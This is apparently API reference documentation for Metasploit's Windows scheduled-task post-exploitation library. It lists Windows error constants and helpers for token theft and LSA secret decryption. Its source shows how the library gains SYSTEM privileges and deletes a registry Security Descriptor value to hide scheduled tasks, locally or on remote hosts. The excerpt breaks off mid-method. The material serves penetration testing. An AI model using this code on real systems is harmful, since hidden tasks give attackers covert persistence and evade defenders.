Error::RPC_S_SERVER_TOO_BUSY, Error::RPC_S_SERVER_UNAVAILABLE, Error::RPC_S_STRING_TOO_LONG, Error::RPC_S_TYPE_ALREADY_REGISTERED, Error::RPC_S_UNKNOWN_AUTHN_LEVEL, Error::RPC_S_UNKNOWN_AUTHN_SERVICE, Error::RPC_S_UNKNOWN_AUTHN_TYPE, Error::RPC_S_UNKNOWN_AUTHZ_SERVICE, Error::RPC_S_UNKNOWN_IF, Error::RPC_S_UNKNOWN_MGR_TYPE, Error::RPC_S_UNSUPPORTED_AUTHN_LEVEL, Error::RPC_S_UNSUPPORTED_NAME_SYNTAX, Error::RPC_S_UNSUPPORTED_TRANS_SYN, Error::RPC_S_UNSUPPORTED_TYPE, Error::RPC_S_UUID_LOCAL_ONLY, Error::RPC_S_UUID_NO_ADDRESS, Error::RPC_S_WRONG_KIND_OF_BINDING, Error::RPC_S_ZERO_DIVIDE, Error::RPC_X_BAD_STUB_DATA, Error::RPC_X_BYTE_COUNT_TOO_SMALL, Error::RPC_X_ENUM_VALUE_OUT_OF_RANGE, Error::RPC_X_INVALID_ES_ACTION, Error::RPC_X_INVALID_PIPE_OBJECT, Error::RPC_X_NO_MORE_ENTRIES, Error::RPC_X_NULL_REF_POINTER, Error::RPC_X_PIPE_CLOSED, Error::RPC_X_PIPE_DISCIPLINE_ERROR, Error::RPC_X_PIPE_EMPTY, Error::RPC_X_SS_CANNOT_GET_CALL_HANDLE, Error::RPC_X_SS_CHAR_TRANS_OPEN_FAIL, Error::RPC_X_SS_CHAR_TRANS_SHORT_FILE, Error::RPC_X_SS_CONTEXT_DAMAGED, Error::RPC_X_SS_HANDLES_MISMATCH, Error::RPC_X_SS_IN_NULL_CONTEXT, Error::RPC_X_WRONG_ES_VERSION, Error::RPC_X_WRONG_PIPE_ORDER, Error::RPC_X_WRONG_PIPE_VERSION, Error::RPC_X_WRONG_STUB_VERSION, Error::RPL_NOT_ALLOWED, Error::RXACT_COMMITTED, Error::RXACT_COMMIT_FAILURE, Error::RXACT_COMMIT_NECESSARY, Error::RXACT_INVALID_STATE, Error::RXACT_STATE_CREATED, Error::SAME_DRIVE, Error::SAM_INIT_FAILURE, Error::SCHED_E_SERVICE_NOT_LOCALSYSTEM, Error::SCOPE_NOT_FOUND, Error::SCREEN_ALREADY_LOCKED, Error::SECRET_TOO_LONG, Error::SECTOR_NOT_FOUND, Error::SECURITY_STREAM_IS_INCONSISTENT, Error::SEEK, Error::SEEK_ON_DEVICE, Error::SEGMENT_NOTIFICATION, Error::SEM_IS_SET, Error::SEM_NOT_FOUND, Error::SEM_OWNER_DIED, Error::SEM_TIMEOUT, Error::SEM_USER_LIMIT, Error::SERIAL_NO_DEVICE, Error::SERVER_DISABLED, Error::SERVER_HAS_OPEN_HANDLES, Error::SERVER_NOT_DISABLED, Error::SERVER_SHUTDOWN_IN_PROGRESS, Error::SERVER_SID_MISMATCH, Error::SERVICE_ALREADY_RUNNING, Error::SERVICE_CANNOT_ACCEPT_CTRL, Error::SERVICE_DATABASE_LOCKED, Error::SERVICE_DEPENDENCY_DELETED, Error::SERVICE_DEPENDENCY_FAIL, Error::SERVICE_DISABLED, Error::SERVICE_DOES_NOT_EXIST, Error::SERVICE_EXISTS, Error::SERVICE_LOGON_FAILED, Error::SERVICE_MARKED_FOR_DELETE, Error::SERVICE_NEVER_STARTED, Error::SERVICE_NOTIFICATION, Error::SERVICE_NOTIFY_CLIENT_LAGGING, Error::SERVICE_NOT_ACTIVE, Error::SERVICE_NOT_FOUND, Error::SERVICE_NOT_IN_EXE, Error::SERVICE_NO_THREAD, Error::SERVICE_REQUEST_TIMEOUT, Error::SERVICE_SPECIFIC_ERROR, Error::SERVICE_START_HANG, Error::SESSION_CREDENTIAL_CONFLICT, Error::SETCOUNT_ON_BAD_LB, Error::SETMARK_DETECTED, Error::SET_NOT_FOUND, Error::SET_POWER_STATE_FAILED, Error::SET_POWER_STATE_VETOED, Error::SHARED_POLICY, Error::SHARING_BUFFER_EXCEEDED, Error::SHARING_PAUSED, Error::SHARING_VIOLATION, Error::SHORT_NAMES_NOT_ENABLED_ON_VOLUME, Error::SHUTDOWN_CLUSTER, Error::SHUTDOWN_IN_PROGRESS, Error::SHUTDOWN_IS_SCHEDULED, Error::SHUTDOWN_USERS_LOGGED_ON, Error::SIGNAL_PENDING, Error::SIGNAL_REFUSED, Error::SINGLE_INSTANCE_APP, Error::SMARTCARD_SUBSYSTEM_FAILURE, Error::SMI_PRIMITIVE_INSTALLER_FAILED, Error::SOME_NOT_MAPPED, Error::SOURCE_ELEMENT_EMPTY, Error::SPARSE_NOT_ALLOWED_IN_TRANSACTION, Error::SPECIAL_ACCOUNT, Error::SPECIAL_GROUP, Error::SPECIAL_USER, Error::SPL_NO_ADDJOB, Error::SPL_NO_STARTDOC, Error::SPOOL_FILE_NOT_FOUND, Error::STACK_BUFFER_OVERRUN, Error::STACK_OVERFLOW, Error::STACK_OVERFLOW_READ, Error::STATIC_INIT, Error::STOPPED_ON_SYMLINK, Error::STREAM_MINIVERSION_NOT_FOUND, Error::STREAM_MINIVERSION_NOT_VALID, Error::SUBST_TO_JOIN, Error::SUBST_TO_SUBST, Error::SUCCESS, Error::SUCCESS_REBOOT_INITIATED, Error::SUCCESS_REBOOT_REQUIRED, Error::SUCCESS_RESTART_REQUIRED, Error::SWAPERROR, Error::SXS_ACTIVATION_CONTEXT_DISABLED, Error::SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT, Error::SXS_ASSEMBLY_MISSING, Error::SXS_ASSEMBLY_NOT_FOUND, Error::SXS_ASSEMBLY_NOT_LOCKED, Error::SXS_CANT_GEN_ACTCTX, Error::SXS_COMPONENT_STORE_CORRUPT, Error::SXS_CORRUPTION, Error::SXS_CORRUPT_ACTIVATION_STACK, Error::SXS_DUPLICATE_ASSEMBLY_NAME, Error::SXS_DUPLICATE_CLSID, Error::SXS_DUPLICATE_DLL_NAME, Error::SXS_DUPLICATE_IID, Error::SXS_DUPLICATE_PROGID, Error::SXS_DUPLICATE_TLBID, Error::SXS_DUPLICATE_WINDOWCLASS_NAME, Error::SXS_EARLY_DEACTIVATION, Error::SXS_FILE_HASH_MISMATCH, Error::SXS_FILE_HASH_MISSING, Error::SXS_FILE_NOT_PART_OF_ASSEMBLY, Error::SXS_IDENTITIES_DIFFERENT, Error::SXS_IDENTITY_DUPLICATE_ATTRIBUTE, Error::SXS_IDENTITY_PARSE_ERROR, Error::SXS_INCORRECT_PUBLIC_KEY_TOKEN, Error::SXS_INVALID_ACTCTXDATA_FORMAT, Error::SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE, Error::SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME, Error::SXS_INVALID_DEACTIVATION, Error::SXS_INVALID_IDENTITY_ATTRIBUTE_NAME, Error::SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE, Error::SXS_INVALID_XML_NAMESPACE_URI, Error::SXS_KEY_NOT_FOUND, Error::SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED, Error::SXS_MANIFEST_FORMAT_ERROR, Error::SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT, Error::SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE, Error::SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE, Error::SXS_MANIFEST_PARSE_ERROR, Error::SXS_MANIFEST_TOO_BIG, Error::SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE, Error::SXS_MULTIPLE_DEACTIVATION, Error::SXS_POLICY_PARSE_ERROR, Error::SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT, Error::SXS_PROCESS_DEFAULT_ALREADY_SET, Error::SXS_PROCESS_TERMINATION_REQUESTED, Error::SXS_PROTECTION_CATALOG_FILE_MISSING, Error::SXS_PROTECTION_CATALOG_NOT_VALID, Error::SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT, Error::SXS_PROTECTION_RECOVERY_FAILED, Error::SXS_RELEASE_ACTIVATION_CONTEXT, Error::SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED, Error::SXS_SECTION_NOT_FOUND, Error::SXS_SETTING_NOT_REGISTERED, Error::SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY, Error::SXS_THREAD_QUERIES_DISABLED, Error::SXS_TRANSACTION_CLOSURE_INCOMPLETE, Error::SXS_UNKNOWN_ENCODING, Error::SXS_UNKNOWN_ENCODING_GROUP, Error::SXS_UNTRANSLATABLE_HRESULT, Error::SXS_VERSION_CONFLICT, Error::SXS_WRONG_SECTION_TYPE, Error::SXS_XML_E_BADCHARDATA, Error::SXS_XML_E_BADCHARINSTRING, Error::SXS_XML_E_BADNAMECHAR, Error::SXS_XML_E_BADPEREFINSUBSET, Error::SXS_XML_E_BADSTARTNAMECHAR, Error::SXS_XML_E_BADXMLCASE, Error::SXS_XML_E_BADXMLDECL, Error::SXS_XML_E_COMMENTSYNTAX, Error::SXS_XML_E_DUPLICATEATTRIBUTE, Error::SXS_XML_E_EXPECTINGCLOSEQUOTE, Error::SXS_XML_E_EXPECTINGTAGEND, Error::SXS_XML_E_INCOMPLETE_ENCODING, Error::SXS_XML_E_INTERNALERROR, Error::SXS_XML_E_INVALIDATROOTLEVEL, Error::SXS_XML_E_INVALIDENCODING, Error::SXS_XML_E_INVALIDSWITCH, Error::SXS_XML_E_INVALID_DECIMAL, Error::SXS_XML_E_INVALID_HEXIDECIMAL, Error::SXS_XML_E_INVALID_STANDALONE, Error::SXS_XML_E_INVALID_UNICODE, Error::SXS_XML_E_INVALID_VERSION, Error::SXS_XML_E_MISSINGEQUALS, Error::SXS_XML_E_MISSINGQUOTE, Error::SXS_XML_E_MISSINGROOT, Error::SXS_XML_E_MISSINGSEMICOLON, Error::SXS_XML_E_MISSINGWHITESPACE, Error::SXS_XML_E_MISSING_PAREN, Error::SXS_XML_E_MULTIPLEROOTS, Error::SXS_XML_E_MULTIPLE_COLONS, Error::SXS_XML_E_RESERVEDNAMESPACE, Error::SXS_XML_E_UNBALANCEDPAREN, Error::SXS_XML_E_UNCLOSEDCDATA, Error::SXS_XML_E_UNCLOSEDCOMMENT, Error::SXS_XML_E_UNCLOSEDDECL, Error::SXS_XML_E_UNCLOSEDENDTAG, Error::SXS_XML_E_UNCLOSEDSTARTTAG, Error::SXS_XML_E_UNCLOSEDSTRING, Error::SXS_XML_E_UNCLOSEDTAG, Error::SXS_XML_E_UNEXPECTEDENDTAG, Error::SXS_XML_E_UNEXPECTEDEOF, Error::SXS_XML_E_UNEXPECTED_STANDALONE, Error::SXS_XML_E_UNEXPECTED_WHITESPACE, Error::SXS_XML_E_WHITESPACEORQUESTIONMARK, Error::SXS_XML_E_XMLDECLSYNTAX, Error::SYMLINK_CLASS_DISABLED, Error::SYMLINK_NOT_SUPPORTED, Error::SYNCHRONIZATION_REQUIRED, Error::SYNC_FOREGROUND_REFRESH_REQUIRED, Error::SYSTEM_DEVICE_NOT_FOUND, Error::SYSTEM_HIVE_TOO_LARGE, Error::SYSTEM_IMAGE_BAD_SIGNATURE, Error::SYSTEM_POWERSTATE_COMPLEX_TRANSITION, Error::SYSTEM_POWERSTATE_TRANSITION, Error::SYSTEM_PROCESS_TERMINATED, Error::SYSTEM_SHUTDOWN, Error::SYSTEM_TRACE, Error::TAG_NOT_FOUND, Error::TAG_NOT_PRESENT, Error::THREAD_1_INACTIVE, Error::THREAD_ALREADY_IN_TASK, Error::THREAD_MODE_ALREADY_BACKGROUND, Error::THREAD_MODE_NOT_BACKGROUND, Error::THREAD_NOT_IN_PROCESS, Error::THREAD_WAS_SUSPENDED, Error::TIMEOUT, Error::TIMER_NOT_CANCELED, Error::TIMER_RESOLUTION_NOT_SET, Error::TIMER_RESUME_IGNORED, Error::TIME_SKEW, Error::TLW_WITH_WSCHILD, Error::TM_IDENTITY_MISMATCH, Error::TM_INITIALIZATION_FAILED, Error::TM_VOLATILE, Error::TOKEN_ALREADY_IN_USE, Error::TOO_MANY_CMDS, Error::TOO_MANY_CONTEXT_IDS, Error::TOO_MANY_LINKS, Error::TOO_MANY_LUIDS_REQUESTED, Error::TOO_MANY_MODULES, Error::TOO_MANY_MUXWAITERS, Error::TOO_MANY_NAMES, Error::TOO_MANY_OPEN_FILES, Error::TOO_MANY_POSTS, Error::TOO_MANY_SECRETS, Error::TOO_MANY_SEMAPHORES, Error::TOO_MANY_SEM_REQUESTS, Error::TOO_MANY_SESS, Error::TOO_MANY_SIDS, Error::TOO_MANY_TCBS, Error::TOO_MANY_THREADS, Error::TRANSACTED_MAPPING_UNSUPPORTED_REMOTE, Error::TRANSACTIONAL_CONFLICT, Error::TRANSACTIONAL_OPEN_NOT_ALLOWED, Error::TRANSACTIONMANAGER_IDENTITY_MISMATCH, Error::TRANSACTIONMANAGER_NOT_FOUND, Error::TRANSACTIONMANAGER_NOT_ONLINE, Error::TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION, Error::TRANSACTIONS_NOT_FROZEN, Error::TRANSACTIONS_UNSUPPORTED_REMOTE, Error::TRANSACTION_ALREADY_ABORTED, Error::TRANSACTION_ALREADY_COMMITTED, Error::TRANSACTION_FREEZE_IN_PROGRESS, Error::TRANSACTION_INTEGRITY_VIOLATED, Error::TRANSACTION_INVALID_MARSHALL_BUFFER, Error::TRANSACTION_MUST_WRITETHROUGH, Error::TRANSACTION_NOT_ACTIVE, Error::TRANSACTION_NOT_ENLISTED, Error::TRANSACTION_NOT_FOUND, Error::TRANSACTION_NOT_JOINED, Error::TRANSACTION_NOT_REQUESTED, Error::TRANSACTION_NOT_ROOT, Error::TRANSACTION_NO_SUPERIOR, Error::TRANSACTION_OBJECT_EXPIRED, Error::TRANSACTION_PROPAGATION_FAILED, Error::TRANSACTION_RECORD_TOO_LONG, Error::TRANSACTION_REQUEST_NOT_VALID, Error::TRANSACTION_REQUIRED_PROMOTION, Error::TRANSACTION_RESPONSE_NOT_ENLISTED, Error::TRANSACTION_SCOPE_CALLBACKS_NOT_SET, Error::TRANSACTION_SUPERIOR_EXISTS, Error::TRANSFORM_NOT_SUPPORTED, Error::TRANSLATION_COMPLETE, Error::TRANSPORT_FULL, Error::TRUSTED_DOMAIN_FAILURE, Error::TRUSTED_RELATIONSHIP_FAILURE, Error::TRUST_FAILURE, Error::TS_INCOMPATIBLE_SESSIONS, Error::TS_VIDEO_SUBSYSTEM_ERROR, Error::TXF_ATTRIBUTE_CORRUPT, Error::TXF_DIR_NOT_EMPTY, Error::TXF_METADATA_ALREADY_PRESENT, Error::UNABLE_TO_CLEAN, Error::UNABLE_TO_EJECT_MOUNTED_MEDIA, Error::UNABLE_TO_INVENTORY_DRIVE, Error::UNABLE_TO_INVENTORY_SLOT, Error::UNABLE_TO_INVENTORY_TRANSPORT, Error::UNABLE_TO_LOAD_MEDIUM, Error::UNABLE_TO_LOCK_MEDIA, Error::UNABLE_TO_MOVE_REPLACEMENT, Error::UNABLE_TO_MOVE_REPLACEMENT_2, Error::UNABLE_TO_REMOVE_REPLACED, Error::UNABLE_TO_UNLOAD_MEDIA, Error::UNDEFINED_CHARACTER, Error::UNEXPECTED_MM_CREATE_ERR, Error::UNEXPECTED_MM_EXTEND_ERR, Error::UNEXPECTED_MM_MAP_ERROR, Error::UNEXPECTED_OMID, Error::UNEXP_NET_ERR, Error::UNHANDLED_EXCEPTION, Error::UNIDENTIFIED_ERROR, Error::UNKNOWN_COMPONENT, Error::UNKNOWN_FEATURE, Error::UNKNOWN_PATCH, Error::UNKNOWN_PORT, Error::UNKNOWN_PRINTER_DRIVER, Error::UNKNOWN_PRINTPROCESSOR, Error::UNKNOWN_PRINT_MONITOR, Error::UNKNOWN_PRODUCT, Error::UNKNOWN_PROPERTY, Error::UNKNOWN_REVISION, Error::UNMAPPED_SUBSTITUTION_STRING, Error::UNRECOGNIZED_MEDIA, Error::UNRECOGNIZED_VOLUME, Error::UNSUPPORTED_COMPRESSION, Error::UNSUPPORTED_TYPE, Error::UNWIND, Error::UNWIND_CONSOLIDATE, Error::USER_APC, Error::USER_DELETE_TRUST_QUOTA_EXCEEDED, Error::USER_EXISTS, Error::USER_MAPPED_FILE, Error::USER_PROFILE_LOAD, Error::VALIDATE_CONTINUE, Error::VC_DISCONNECTED, Error::VDM_DISALLOWED, Error::VDM_HARD_ERROR, Error::VERIFIER_STOP, Error::VERSION_PARSE_ERROR, Error::VIRUS_DELETED, Error::VIRUS_INFECTED, Error::VOLSNAP_HIBERNATE_READY, Error::VOLSNAP_PREPARE_HIBERNATE, Error::VOLUME_CONTAINS_SYS_FILES, Error::VOLUME_DIRTY, Error::VOLUME_MOUNTED, Error::VOLUME_NOT_SIS_ENABLED, Error::VOLUME_NOT_SUPPORT_EFS, Error::WAIT_1, Error::WAIT_2, Error::WAIT_3, Error::WAIT_63, Error::WAIT_FOR_OPLOCK, Error::WAIT_NO_CHILDREN, Error::WAIT_TIMEOUT, Error::WAKE_SYSTEM, Error::WAKE_SYSTEM_DEBUGGER, Error::WARNING_IPSEC_MM_POLICY_PRUNED, Error::WARNING_IPSEC_QM_POLICY_PRUNED, Error::WAS_LOCKED, Error::WAS_UNLOCKED, Error::WINDOW_NOT_COMBOBOX, Error::WINDOW_NOT_DIALOG, Error::WINDOW_OF_OTHER_THREAD, Error::WINS_INTERNAL, Error::WMI_ALREADY_DISABLED, Error::WMI_ALREADY_ENABLED, Error::WMI_DP_FAILED, Error::WMI_DP_NOT_FOUND, Error::WMI_GUID_DISCONNECTED, Error::WMI_GUID_NOT_FOUND, Error::WMI_INSTANCE_NOT_FOUND, Error::WMI_INVALID_MOF, Error::WMI_INVALID_REGINFO, Error::WMI_ITEMID_NOT_FOUND, Error::WMI_READ_ONLY, Error::WMI_SERVER_UNAVAILABLE, Error::WMI_SET_FAILURE, Error::WMI_TRY_AGAIN, Error::WMI_UNRESOLVED_INSTANCE_REF, Error::WORKING_SET_QUOTA, Error::WOW_ASSERTION, Error::WRITE_FAULT, Error::WRITE_PROTECT, Error::WRONG_COMPARTMENT, Error::WRONG_DISK, Error::WRONG_EFS, Error::WRONG_PASSWORD, Error::WRONG_TARGET_NAME, Error::WSAEACCES, Error::WSAEADDRINUSE, Error::WSAEADDRNOTAVAIL, Error::WSAEAFNOSUPPORT, Error::WSAEALREADY, Error::WSAEBADF, Error::WSAECANCELLED, Error::WSAECONNABORTED, Error::WSAECONNREFUSED, Error::WSAECONNRESET, Error::WSAEDESTADDRREQ, Error::WSAEDISCON, Error::WSAEDQUOT, Error::WSAEFAULT, Error::WSAEHOSTDOWN, Error::WSAEHOSTUNREACH, Error::WSAEINPROGRESS, Error::WSAEINTR, Error::WSAEINVAL, Error::WSAEINVALIDPROCTABLE, Error::WSAEINVALIDPROVIDER, Error::WSAEISCONN, Error::WSAELOOP, Error::WSAEMFILE, Error::WSAEMSGSIZE, Error::WSAENAMETOOLONG, Error::WSAENETDOWN, Error::WSAENETRESET, Error::WSAENETUNREACH, Error::WSAENOBUFS, Error::WSAENOMORE, Error::WSAENOPROTOOPT, Error::WSAENOTCONN, Error::WSAENOTEMPTY, Error::WSAENOTSOCK, Error::WSAEOPNOTSUPP, Error::WSAEPFNOSUPPORT, Error::WSAEPROCLIM, Error::WSAEPROTONOSUPPORT, Error::WSAEPROTOTYPE, Error::WSAEPROVIDERFAILEDINIT, Error::WSAEREFUSED, Error::WSAEREMOTE, Error::WSAESHUTDOWN, Error::WSAESOCKTNOSUPPORT, Error::WSAESTALE, Error::WSAETIMEDOUT, Error::WSAETOOMANYREFS, Error::WSAEUSERS, Error::WSAEWOULDBLOCK, Error::WSAHOST_NOT_FOUND, Error::WSANOTINITIALISED, Error::WSANO_DATA, Error::WSANO_RECOVERY, Error::WSASERVICE_NOT_FOUND, Error::WSASYSCALLFAILURE, Error::WSASYSNOTREADY, Error::WSATRY_AGAIN, Error::WSATYPE_NOT_FOUND, Error::WSAVERNOTSUPPORTED, Error::WSA_E_CANCELLED, Error::WSA_E_NO_MORE, Error::WSA_QOS_ADMISSION_FAILURE, Error::WSA_QOS_BAD_OBJECT, Error::WSA_QOS_BAD_STYLE, Error::WSA_QOS_EFILTERCOUNT, Error::WSA_QOS_EFILTERSTYLE, Error::WSA_QOS_EFILTERTYPE, Error::WSA_QOS_EFLOWCOUNT, Error::WSA_QOS_EFLOWDESC, Error::WSA_QOS_EFLOWSPEC, Error::WSA_QOS_EOBJLENGTH, Error::WSA_QOS_EPOLICYOBJ, Error::WSA_QOS_EPROVSPECBUF, Error::WSA_QOS_EPSFILTERSPEC, Error::WSA_QOS_EPSFLOWSPEC, Error::WSA_QOS_ESDMODEOBJ, Error::WSA_QOS_ESERVICETYPE, Error::WSA_QOS_ESHAPERATEOBJ, Error::WSA_QOS_EUNKNOWNPSOBJ, Error::WSA_QOS_GENERIC_ERROR, Error::WSA_QOS_NO_RECEIVERS, Error::WSA_QOS_NO_SENDERS, Error::WSA_QOS_POLICY_FAILURE, Error::WSA_QOS_RECEIVERS, Error::WSA_QOS_REQUEST_CONFIRMED, Error::WSA_QOS_RESERVED_PETYPE, Error::WSA_QOS_SENDERS, Error::WSA_QOS_TRAFFIC_CTRL_ERROR, Error::WX86_ERROR, Error::WX86_WARNING, Error::XMLDSIG_ERROR, Error::XML_ENCODING_MISMATCH, Error::XML_PARSE_ERROR

Class Method Summary

• .add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {}) ⇒ Object
• .check_compatibility ⇒ Object
• .delete_reg_key_value(reg_key, reg_value, opts = {}) ⇒ Object
• .get_schtasks_cmd_string(schtasks_cmd, opts = {}) ⇒ Object
• .get_system_privs ⇒ Object
• .log_and_print(msg, level: :debug) ⇒ Object
• .reg_key_value_exists?(reg_key, reg_value, opts = {}) ⇒ Boolean
• .run_one_off_task(cmd, check_success: false) ⇒ Object
• .schtasks_exec(schtasks_cmd_str, with_result: false) ⇒ Object
• .task_has_run?(task_name, task_info) ⇒ Boolean
• .task_info_field(task_name, task_info, key) ⇒ Object
• .task_is_still_running?(task_name, task_info) ⇒ Boolean

Instance Method Summary

• #initialize(info = {}) ⇒ Object
• #setup ⇒ Object
• #task_create(task_name, task_cmd, opts = {}) ⇒ Object

  Create a scheduled task on a local or remote system.

• #task_delete(task_name, opts = {}) ⇒ Object

  Delete a scheduled task.

• #task_query(task_name, opts = {}) ⇒ Object

  Display the scheduled task information.

• #task_start(task_name, opts = {}) ⇒ Object

  Immediately run a scheduled task.

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Priv

#capture_boot_key, #capture_lsa_key, #get_integrity_level, #get_uac_level, #get_whoami, #is_admin?, #is_high_integrity?, #is_in_admin_group?, #is_system?, #is_uac_enabled?, #lsa_vista_style?, #session_has_ext, #steal_current_user_token, #steal_token

Methods included from Util::WindowsCryptoHelpers

#add_parity, #aes128_cts_hmac_sha1_96, #aes256_cts_hmac_sha1_96, #aes_cts_hmac_sha1_96, #convert_des_56_to_64, #decrypt_aes, #decrypt_hash, #decrypt_lsa_data, #decrypt_secret_data, #decrypt_user_hash, #decrypt_user_key, #des_cbc_md5, #fix_parity, #rc4_hmac, #rid_to_key, #weak_des_key?

Methods included from Version

#get_version_info, #get_version_info_fallback_impl, #get_version_info_impl

Methods included from Registry

#meterpreter_registry_createkey, #meterpreter_registry_deletekey, #meterpreter_registry_deleteval, #meterpreter_registry_enumkeys, #meterpreter_registry_enumvals, #meterpreter_registry_getvaldata, #meterpreter_registry_getvalinfo, #meterpreter_registry_key_exist?, #meterpreter_registry_loadkey, #meterpreter_registry_perms, #meterpreter_registry_setvaldata, #meterpreter_registry_unloadkey, #normalize_key, #registry_createkey, #registry_deletekey, #registry_deleteval, #registry_enumkeys, #registry_enumvals, #registry_getvaldata, #registry_getvalinfo, #registry_hive_lookup, #registry_key_exist?, #registry_loadkey, #registry_setvaldata, #registry_unloadkey, #session_has_registry_ext, #shell_registry_cmd, #shell_registry_cmd_result, #shell_registry_createkey, #shell_registry_deletekey, #shell_registry_deleteval, #shell_registry_enumkeys, #shell_registry_enumvals, #shell_registry_getvaldata, #shell_registry_getvalinfo, #shell_registry_key_exist?, #shell_registry_loadkey, #shell_registry_setvaldata, #shell_registry_unloadkey, #split_key

Methods included from CliParse

#win_parse_error, #win_parse_results

Methods included from Accounts

#delete_user, #domain_controller?, #get_domain, #get_domain_name, #get_primary_domain_controller, #resolve_sid

Methods included from Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #create_process, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport

Class Method Details

.add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {}) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 483

def add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {})
  log_and_print('[Task Scheduler] Restoring the Security Descriptor registry key value to unhide the task')

  # Override by default. It has to be explicitly set to false if we don't want the key to be overridden.
  unless opts[:override].nil? || opts[:override]
    log_and_print('[Task Scheduler] Checking if the key value exists')
    if reg_key_value_exists?(reg_key, reg_value)
      log_and_print("The #{reg_value} key value already exist. Set `opts[:override]` to true to override the value", level: :warning)
      return
    end
  end

  begin
    get_system_privs
  rescue TaskSchedulerSystemPrivsError
    raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to restore the key value.'
  end

  remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
  log_and_print("[Task Scheduler] Adding #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
  if remote_host.present?
    begin
      run_one_off_task("reg add \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /t #{reg_type} /d \\\"#{reg_data}\\\" /f")
    rescue TaskSchedulerError => e
      raise TaskSchedulerObfuscationError, "Could not restore the key value: #{e}"
    end
  else
    result = cmd_exec_with_result("reg add \"#{reg_key}\" /v \"#{reg_value}\" /t #{reg_type} /d \"#{reg_data}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
    unless result[1]
      raise TaskSchedulerObfuscationError, "Could not restore the key value. Error: #{result[0]}"
    end
  end
end

.check_compatibility ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 264

def check_compatibility
  # Check Windows version to make sure we will use the correct supported command flags
  # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has
  #   some different `/create` option flags.
  # - `schtasks.exe` on Windows prior to Vista has some
  #   different `/query` option flags - set @old_os to true
  # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.

  @old_schtasks = false
  @old_os = false

  version = get_version_info
  if version.build_number < Msf::WindowsVersion::Vista_SP0
    @old_os = true
    if version.build_number < Msf::WindowsVersion::Server2003_SP1
      @old_schtasks = true
    end
    if datastore['ScheduleRemoteSystem'].present?
      log_and_print(
        '[Task Scheduler] This OS version does not support remote schedule tasks. This is likely to fail.',
        level: :warning
      )
    end
  end
end

.delete_reg_key_value(reg_key, reg_value, opts = {}) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 453

def delete_reg_key_value(reg_key, reg_value, opts = {})
  log_and_print('[Task Scheduler] Removing the Security Descriptor registry key value to hide the task')

  log_and_print('[Task Scheduler] Checking if the key value exists')
  unless reg_key_value_exists?(reg_key, reg_value)
    raise TaskSchedulerObfuscationError, "The #{reg_value} key value does not exist. Obfuscation is not possible"
  end

  begin
    get_system_privs
  rescue TaskSchedulerSystemPrivsError
    raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to delete the key value.'
  end

  remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
  log_and_print("[Task Scheduler] Deleting #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
  if remote_host.present?
    begin
      run_one_off_task("reg delete \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /f")
    rescue TaskSchedulerError => e
      raise TaskSchedulerObfuscationError, "Could not delete the key value: #{e}"
    end
  else
    result = cmd_exec_with_result("reg delete \"#{reg_key}\" /v \"#{reg_value}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
    unless result[1]
      raise TaskSchedulerObfuscationError, "Could not delete the key value. Error: #{result[0]}"
    end
  end
end

.get_schtasks_cmd_string(schtasks_cmd, opts = {}) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 307

def get_schtasks_cmd_string(schtasks_cmd, opts = {})
  cmd = schtasks_cmd.dup
  cmd.prepend('schtasks')
  system = opts[:remote_system] || (datastore['ScheduleRemoteSystem'].present? ? datastore['ScheduleRemoteSystem'] : nil)
  cmd += ['/s', system] if system
  username = opts[:username] || (datastore['ScheduleUsername'].present? ? datastore['ScheduleUsername'] : nil)
  cmd += ['/u', username] if username
  password = opts[:password] || (datastore['SchedulePassword'].present? ? datastore['SchedulePassword'] : nil)
  cmd += ['/p', password] if password
  cmd.join(' ')
end

.get_system_privs ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 330

def get_system_privs
  return if is_system?

  unless session.type == 'meterpreter'
    error = "Incompatible session type (#{session.type}), cannot get SYSTEM "\
            'privileges to obfuscate the scheduled task.'
    log_and_print("[Task Scheduler] #{error}", level: :error)
    raise TaskSchedulerSystemPrivsError, error
  end
  unless session.ext.priv
    error = 'This Meterpreter session does not support `priv` extension, cannot '\
            'get SYSTEM privileges to obfuscate the scheduled task.'
    log_and_print("[Task Scheduler] #{error}", level: :error)
